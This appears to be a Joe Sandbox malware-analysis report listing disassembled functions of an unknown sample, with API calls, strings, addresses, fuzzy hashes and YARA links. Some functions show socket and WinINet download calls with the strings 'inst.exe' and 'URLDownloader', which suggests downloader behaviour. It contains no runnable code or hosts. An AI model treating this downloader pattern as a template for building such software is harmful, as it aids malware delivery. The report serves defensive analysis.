Opcode Fuzzy Hash: 629c58ebb369c9a4567a25f7efc7421930806d5ddf401b53f73b529e587ce57b
Instruction Fuzzy Hash: BC61F8B0A05225EFE704DFA8CD88B9D7BB5FB48311F108199F519AB2A0C774D980DB65

Function 1000CDE0 Relevance: 21.2, APIs: 14, Instructions: 249COMMON

Download Yara Rule

APIs

?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1000CE28
?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1000CE4D
?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1000CE76
?flags@ios_base@std@@QBEHXZ.MSVCP140(6CC04730), ref: 1000CEE5
?rdbuf@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@XZ.MSVCP140 ref: 1000CF26
?fill@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEDXZ.MSVCP140 ref: 1000CF3A
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?), ref: 1000CF4B
?rdbuf@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@XZ.MSVCP140 ref: 1000CF9C
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAE_JPBD_J@Z.MSVCP140(1000F2B3,?,?), ref: 1000CFB4
?rdbuf@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@XZ.MSVCP140 ref: 1000D010
?fill@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEDXZ.MSVCP140 ref: 1000D024
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?), ref: 1000D035
?width@ios_base@std@@QAE_J_J@Z.MSVCP140(00000000,00000000), ref: 1000D088
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000), ref: 1000D0DA

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$?width@ios_base@std@@$?rdbuf@?$basic_ios@D@std@@@2@V?$basic_streambuf@$?fill@?$basic_ios@?sputc@?$basic_streambuf@$?flags@ios_base@std@@?setstate@?$basic_ios@?sputn@?$basic_streambuf@
String ID:
API String ID: 4125389999-0
Opcode ID: d7ddfb35de5600b2af610cc6f86c0c04c4b658ff1ac8b4a744557df133d45fe0
Instruction ID: 9f71a8f020fe28d290ef7ad39ca2b4630c2ccf5d8ae75f0951f39d4c8cecbd13
Opcode Fuzzy Hash: d7ddfb35de5600b2af610cc6f86c0c04c4b658ff1ac8b4a744557df133d45fe0
Instruction Fuzzy Hash: 35B1C974D00259DFEB04CF94C895BADBBB1FF48344F208169E90AAB359CB34A985CF90

Function 02870097 Relevance: 19.7, APIs: 13, Instructions: 163networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 028700BA
getaddrinfo.WS2_32(100170B4,10013B50,?,00000000), ref: 02870101
WSACleanup.WS2_32 ref: 02870110
socket.WS2_32(?,?,?), ref: 02870159
WSACleanup.WS2_32 ref: 0287016D

Memory Dump Source

Source File: 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UNK_.jbxd

Similarity

API ID: Cleanup$Startupgetaddrinfosocket
String ID:
API String ID: 2560534018-0
Opcode ID: 629c58ebb369c9a4567a25f7efc7421930806d5ddf401b53f73b529e587ce57b
Instruction ID: 21b0b0790c34189d8d3567152e655fbba220c72fba53aaa7af3dd52b19a4c61b
Opcode Fuzzy Hash: 629c58ebb369c9a4567a25f7efc7421930806d5ddf401b53f73b529e587ce57b
Instruction Fuzzy Hash: 456119B9905215EFE705DFA8CD88BAE7BB5FB08315F108199E509A72A0C734D940CF65

Function 02861B87 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 143networkwindowfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(10012448,00000001,00000000,00000000,00000000), ref: 02861BA1
InternetOpenUrlA.WININET(?,?,00000000,00000000,80000000,00000000), ref: 02861BBD
HttpQueryInfoW.WININET(?,20000005,00000000,00000004,00000000), ref: 02861C04
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 02861C21
InternetReadFile.WININET(?,?,00001000,?), ref: 02861C3C
SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 02861CF2
InternetCloseHandle.WININET(?), ref: 02861D0F
InternetCloseHandle.WININET(?), ref: 02861D19
GetParent.USER32(?), ref: 02861D23
ShowWindow.USER32(?,00000000), ref: 02861D32

Strings

inst.exe, xrefs: 02861D38

Memory Dump Source

Source File: 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UNK_.jbxd

Similarity

API ID: Internet$CloseHandleMessageOpenSend$FileHttpInfoParentQueryReadShowWindow
String ID: inst.exe
API String ID: 2293700532-606395854
Opcode ID: 8167bd165008061e034a8e8451ddf05a0f2f7158e41ec6c26d4c78a1f0855317
Instruction ID: 0a6ae5a8c0a7f2d22a216ee2994046773e4b3220c9abe0bb299dff6a22d92d4c
Opcode Fuzzy Hash: 8167bd165008061e034a8e8451ddf05a0f2f7158e41ec6c26d4c78a1f0855317
Instruction Fuzzy Hash: A6512AB5D40218ABEB00DFA4CD89BAEB775FF49701F108608F605BA290D775AA90DF61

Function 02861807 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 153windowregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 02861829

Part of subcall function 028615D7: SHGetKnownFolderPath.SHELL32(10012340,00000000,00000000,00000000), ref: 02861632
Part of subcall function 028615D7: CoTaskMemFree.COMBASE(00000000), ref: 02861685

RegisterClassW.USER32(?), ref: 02861984
CreateWindowExW.USER32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 028619BF
ShowWindow.USER32(?,00000001,?,?,?,?,?,?,?), ref: 028619CE
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 028619F5
TranslateMessage.USER32(?), ref: 02861A03
DispatchMessageW.USER32(?), ref: 02861A0D

Strings

inst.exe, xrefs: 0286186E, 028618DA, 028619A8
URLDownloader, xrefs: 02861935

Memory Dump Source

Source File: 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UNK_.jbxd

Similarity

API ID: Message$Window$ClassCreateDispatchFolderFreeHandleKnownModulePathRegisterShowTaskTranslate
String ID: URLDownloader$inst.exe
API String ID: 1820083345-3182466430
Opcode ID: ad90597b90d91a76d6bc916b8ac211ae3b74ff0302ccb105c1be54824f9a3ca4
Instruction ID: e3fda98b27929b7e36c51eeb4c22022801b3c22077e2b015d9fcc42dfb17ba42
Opcode Fuzzy Hash: ad90597b90d91a76d6bc916b8ac211ae3b74ff0302ccb105c1be54824f9a3ca4
Instruction Fuzzy Hash: 165117B5D00258AFDB14DFA8CC44BEDBBB5FB58300F1081A9E609EB294EB755A44CF52

Function 10010CB7 Relevance: 13.6, APIs: 9, Instructions: 135COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 10010CFE
___scrt_uninitialize_crt.LIBCMT ref: 10010D18

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 649f4d9b7be6ac56b36da947fabe160b4803ea2d6c825da84b9566d7c5061089
Instruction ID: 82a901a5c9dd6496ef150d4dfe0cb85e0fd21509eb0d390bdb30e226946f8a75
Opcode Fuzzy Hash: 649f4d9b7be6ac56b36da947fabe160b4803ea2d6c825da84b9566d7c5061089
Instruction Fuzzy Hash: CD41BF76F00269EBDB20CF95DC41BAE3AB5FB40AA4F114919F8956F251C7B0ED818BD0

Function 02861147 Relevance: 13.6, APIs: 9, Instructions: 87librarywindowloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(10012398), ref: 02861152
GetProcAddress.KERNEL32(?,100123AC), ref: 02861164
GetProcAddress.KERNEL32(?,100123C0), ref: 02861178
GetModuleHandleA.KERNEL32(00000000), ref: 028611D4
RegisterClassW.USER32(?), ref: 028611E8
CreateWindowExW.USER32(00000000,100123D8,100123EC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0286120D
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 02861228
TranslateMessage.USER32(?), ref: 02861236
DispatchMessageW.USER32(?), ref: 02861240

Memory Dump Source

Source File: 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UNK_.jbxd

Similarity

API ID: Message$AddressProc$ClassCreateDispatchHandleLibraryLoadModuleRegisterTranslateWindow
String ID:
API String ID: 3658383123-0
Opcode ID: 242d59c1bcc2ed5713fb3f605fd77491e9c67476cdc2317376c21f7694c6bbad
Instruction ID: 8586ceb415dd2ea73de2acc4d2d2ff592ec1472dfa07cfd4ecab68f939b43347
Opcode Fuzzy Hash: 242d59c1bcc2ed5713fb3f605fd77491e9c67476cdc2317376c21f7694c6bbad
Instruction Fuzzy Hash: 7431D4B4D40618AFEB14DFE5CD89BADBBB8FF48701F108119F60AAA290D7749694CF50

Function 1000B4A0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

?pptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B4D7
?pptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B4E4
?epptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B4EF
?_Pninc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEPADXZ.MSVCP140 ref: 1000B50B

Strings

, xrefs: 1000B58B

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?pptr@?$basic_streambuf@$?epptr@?$basic_streambuf@Pninc@?$basic_streambuf@
String ID:
API String ID: 1504536088-3916222277
Opcode ID: bf89f8f8861aed1ab7b692ef0b5d7095335db410b563b161b5768633909dd48d
Instruction ID: 9fd4f056ea7531655faf49f776dc9014e5164f0190cfa771b6f3da1c1fb63bf9
Opcode Fuzzy Hash: bf89f8f8861aed1ab7b692ef0b5d7095335db410b563b161b5768633909dd48d
Instruction Fuzzy Hash: 085173B5D00609EFEB05CFD4C885EEEBBB5EF04381F048199E901A7259DB35AE44CBA1

Function 1000B020 Relevance: 10.7, APIs: 7, Instructions: 190COMMON

Download Yara Rule

APIs

?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B042
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B04F
?egptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B05A
?_Gninc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEPADXZ.MSVCP140 ref: 1000B067

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?gptr@?$basic_streambuf@$?egptr@?$basic_streambuf@Gninc@?$basic_streambuf@
String ID:
API String ID: 623893373-0
Opcode ID: 686d5d765f072bde6da808c523b0d64b58909c4bdd405a7af84071ee35900531
Instruction ID: 8fa48943700a81e2c9b2cfce0a1ddd9ba30b149aeda4daa259b851e8e9bcb32b
Opcode Fuzzy Hash: 686d5d765f072bde6da808c523b0d64b58909c4bdd405a7af84071ee35900531
Instruction Fuzzy Hash: DE7138B5C0061DDFEB15DFA4C995AEEB7B5FF08290F104229E416B7299EB306E04CB91

Function 1000AEB0 Relevance: 10.6, APIs: 7, Instructions: 124COMMON

Download Yara Rule

APIs

?xsgetn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAE_JPAD_J@Z.MSVCP140(?,?,00000000), ref: 1000AEE8
?_Gnavail@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBE_JXZ.MSVCP140 ref: 1000AF08
_Min_value.LIBCPMTD ref: 1000AF1F
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?), ref: 1000AF33
?gbump@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXH@Z.MSVCP140(?), ref: 1000AF5F
fread.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000FFF,00000000), ref: 1000AF9D
fread.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,00000000), ref: 1000AFEE

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$fread$?gbump@?$basic_streambuf@?gptr@?$basic_streambuf@?xsgetn@?$basic_streambuf@Gnavail@?$basic_streambuf@Min_value
String ID:
API String ID: 1591557727-0
Opcode ID: 05a9cec6a7bdc9e916f7dfb027493f280f4e908c6d3ff45262789d5ffb131775
Instruction ID: a7373feddb38768cb8e80fdeb6ca424b68bff663277300cca749af404b47d492
Opcode Fuzzy Hash: 05a9cec6a7bdc9e916f7dfb027493f280f4e908c6d3ff45262789d5ffb131775
Instruction Fuzzy Hash: 1551D8B5E00209EFDB04DFA8C984AEEBBB1FF48344F108169E915A7354D730AE95DB50

Function 10010D65 Relevance: 10.6, APIs: 7, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 10010DA2
dllmain_crt_dispatch.LIBCMT ref: 10010DB9
_DllMain@12.MSVCRT ref: 10010DD0
_DllMain@12.MSVCRT ref: 10010DE8
dllmain_raw.LIBCMT ref: 10010E01
dllmain_crt_dispatch.LIBCMT ref: 10010E14
dllmain_raw.LIBCMT ref: 10010E27

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: dllmain_raw$Main@12dllmain_crt_dispatch
String ID:
API String ID: 3353612457-0
Opcode ID: 51ffbf4d7ebe4a4557a9ec6990cc1df8eb7d6e0f0daaa4ef435442b776e98115
Instruction ID: 64606688521fabd1402afb0874e896261f6c1f2fbb559040e4c03d6bc464acc4
Opcode Fuzzy Hash: 51ffbf4d7ebe4a4557a9ec6990cc1df8eb7d6e0f0daaa4ef435442b776e98115
Instruction Fuzzy Hash: D0216B76F00269EEDB21CF56DC41AAF3AA9EB80AD4F014919F8945F210C7B0DD918BE0

Function 1000B350 Relevance: 9.1, APIs: 6, Instructions: 106COMMON

Download Yara Rule

APIs

?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B35D
?eback@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B36E
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B379
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?), ref: 1000B3A3
?_Gndec@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEPADXZ.MSVCP140 ref: 1000B3D3

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?gptr@?$basic_streambuf@$?eback@?$basic_streambuf@Gndec@?$basic_streambuf@
String ID:
API String ID: 4206206407-0
Opcode ID: a80ac29afee63ac313f60e84a30f3a0ede3531dd630a483fc897834597ea8dcd
Instruction ID: f7c15c91105892140f05b25e0fcfcadb8d2072b0e91d30d5794a3d544de0fed2
Opcode Fuzzy Hash: a80ac29afee63ac313f60e84a30f3a0ede3531dd630a483fc897834597ea8dcd
Instruction Fuzzy Hash: 6E31CEB9D00208ABEB04DFA4D8959AE7B75EF442C0F04C469F8059B24BEB31EE45CB51

Function 1000AD90 Relevance: 7.6, APIs: 5, Instructions: 100fileCOMMON

Download Yara Rule

APIs

?xsputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAE_JPBD_J@Z.MSVCP140(?,?,?), ref: 1000ADB1
?_Pnavail@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBE_JXZ.MSVCP140 ref: 1000ADCB
?pptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(00000000,?), ref: 1000AE1C
?pbump@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXH@Z.MSVCP140(?), ref: 1000AE4D
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,00000000), ref: 1000AE7C

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?pbump@?$basic_streambuf@?pptr@?$basic_streambuf@?xsputn@?$basic_streambuf@Pnavail@?$basic_streambuf@fwrite
String ID:
API String ID: 1074265955-0
Opcode ID: 03ae3c2052802fc7122480744b0963d50f24e8686e0047993b433f27272eacd6
Instruction ID: ac6967b09ea6245ec4af0dc33b80ef160fb563bc847464cada0f3494a0eb2000
Opcode Fuzzy Hash: 03ae3c2052802fc7122480744b0963d50f24e8686e0047993b433f27272eacd6
Instruction Fuzzy Hash: EB41E375D00289EFEB08DF98C884A9EB7B1FF88344F10C659E9299B254D730AE94CF50

Function 10004020 Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,00000000), ref: 10004037
memset.VCRUNTIME140(?,00000000,?), ref: 10004074
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,?), ref: 10004091
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 100040A9
memset.VCRUNTIME140(?,00000000,?), ref: 100040D7

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: ByteCharMultiWide$memset
String ID:
API String ID: 1216362210-0
Opcode ID: d8278ef5e5963c6c9a9663513e54bc5aa314779fc6fd0523c811705f5206c5ec
Instruction ID: d5d2fc12e147d12df5ef18d66f66630be37a1d65e2a688cbbcfc70e5b1a43c84
Opcode Fuzzy Hash: d8278ef5e5963c6c9a9663513e54bc5aa314779fc6fd0523c811705f5206c5ec
Instruction Fuzzy Hash: 2D3152B5F40208BFEB14DF98CC86FAEB7B5EB48710F204254F615AB2C1D671AA50CB65

Function 02870D3C Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 02870D79
_DllMain@12.MSVCRT ref: 02870DA7
_DllMain@12.MSVCRT ref: 02870DBF
dllmain_raw.LIBCMT ref: 02870DD8
dllmain_raw.LIBCMT ref: 02870DFE

Memory Dump Source

Source File: 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UNK_.jbxd

Similarity

API ID: dllmain_raw$Main@12
String ID:
API String ID: 2964726511-0
Opcode ID: f7f534ad3ff482a18bf34d6bcd0cd3489ad4272e78613ad43f56d35246dc062b
Instruction ID: e08176be8d40a7c85f5adb05ce15c87b5be03c8c0a8884305ab878729c5f0e3f
Opcode Fuzzy Hash: f7f534ad3ff482a18bf34d6bcd0cd3489ad4272e78613ad43f56d35246dc062b
Instruction Fuzzy Hash: C921747E901669AADF219E19CD40A6F7E6AEB84798B054225F81CEB210C731DD81CF91

Function 100107D5 Relevance: 7.5, APIs: 5, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

_callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(00001000,?,1000152C,00001000,?,10003C5D,00001000), ref: 100107DD
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00001000,?,1000152C,00001000,?,10003C5D,00001000), ref: 100107EA
_CxxThrowException.VCRUNTIME140(?,10014F2C), ref: 10010EED
stdext::threads::lock_error::lock_error.LIBCPMTD ref: 10010EFC
_CxxThrowException.VCRUNTIME140(?,10014F90), ref: 10010F0A

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: ExceptionThrow$_callnewhmallocstdext::threads::lock_error::lock_error
String ID:
API String ID: 1722040371-0
Opcode ID: 046d961c1e0df506dca93b3cd0f00a3e9d42ff5419843ba781d4adb65e5c8679
Instruction ID: 6d4aa4042b719817879ad19d1f1f5d821abcde10b660f97fd496c7bb52ecdeee
Opcode Fuzzy Hash: 046d961c1e0df506dca93b3cd0f00a3e9d42ff5419843ba781d4adb65e5c8679
Instruction Fuzzy Hash: E8F0BE38D0420DBACB04EAB5EC469DEB7ACEF00290F104530B964AD4E1EFB1F6D58A95

Function 10010720 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(100172D4,URLDownloader,?,100017A9,100176B8,?,?,?,?,?,?,100019DB,inst.exe,00C40000,80000000,80000000), ref: 1001072A
ReleaseSRWLockExclusive.KERNEL32(100172D4,?,100017A9,100176B8,?,?,?,?,?,?,100019DB,inst.exe,00C40000,80000000,80000000,00000190), ref: 1001075D
WakeAllConditionVariable.KERNEL32(100172D0,?,100017A9,100176B8,?,?,?,?,?,?,100019DB,inst.exe,00C40000,80000000,80000000,00000190), ref: 10010768

Strings

URLDownloader, xrefs: 10010723

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionReleaseVariableWake
String ID: URLDownloader
API String ID: 1466638765-1891997712
Opcode ID: 135d216f9536d5fef4871bc611d23d6ad4692f8f9cf4bb8f7097ed8d31648b84
Instruction ID: 3181bbcb2b9caa1ef0c1f22c926e586b91b1f05f2254f4f57ba8959088f3d27b
Opcode Fuzzy Hash: 135d216f9536d5fef4871bc611d23d6ad4692f8f9cf4bb8f7097ed8d31648b84
Instruction Fuzzy Hash: A0F0C975900224DFE71ADF58DC88A9577B8FB0D350B018069F909C7322CB34E911CB54

Function 0286F057 Relevance: 6.1, APIs: 4, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 0286FF47: NdrClientCall2.RPCRT4 ref: 0286FF66

CoTaskMemFree.COMBASE(00000000), ref: 0286F16C
CoTaskMemFree.COMBASE(00000000), ref: 0286F179

Memory Dump Source

Source File: 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UNK_.jbxd

Similarity

API ID: FreeTask$Call2Client
String ID:
API String ID: 3085621743-0
Opcode ID: 2f53cd99de7b70502dbfb43a252906e75cd8ef5dbbaed62b935777ebfb7fcb6a
Instruction ID: d144b95598f01d7cf71f5bdaff15b8026ee57b8986f99e38e747a1526236fb14
Opcode Fuzzy Hash: 2f53cd99de7b70502dbfb43a252906e75cd8ef5dbbaed62b935777ebfb7fcb6a
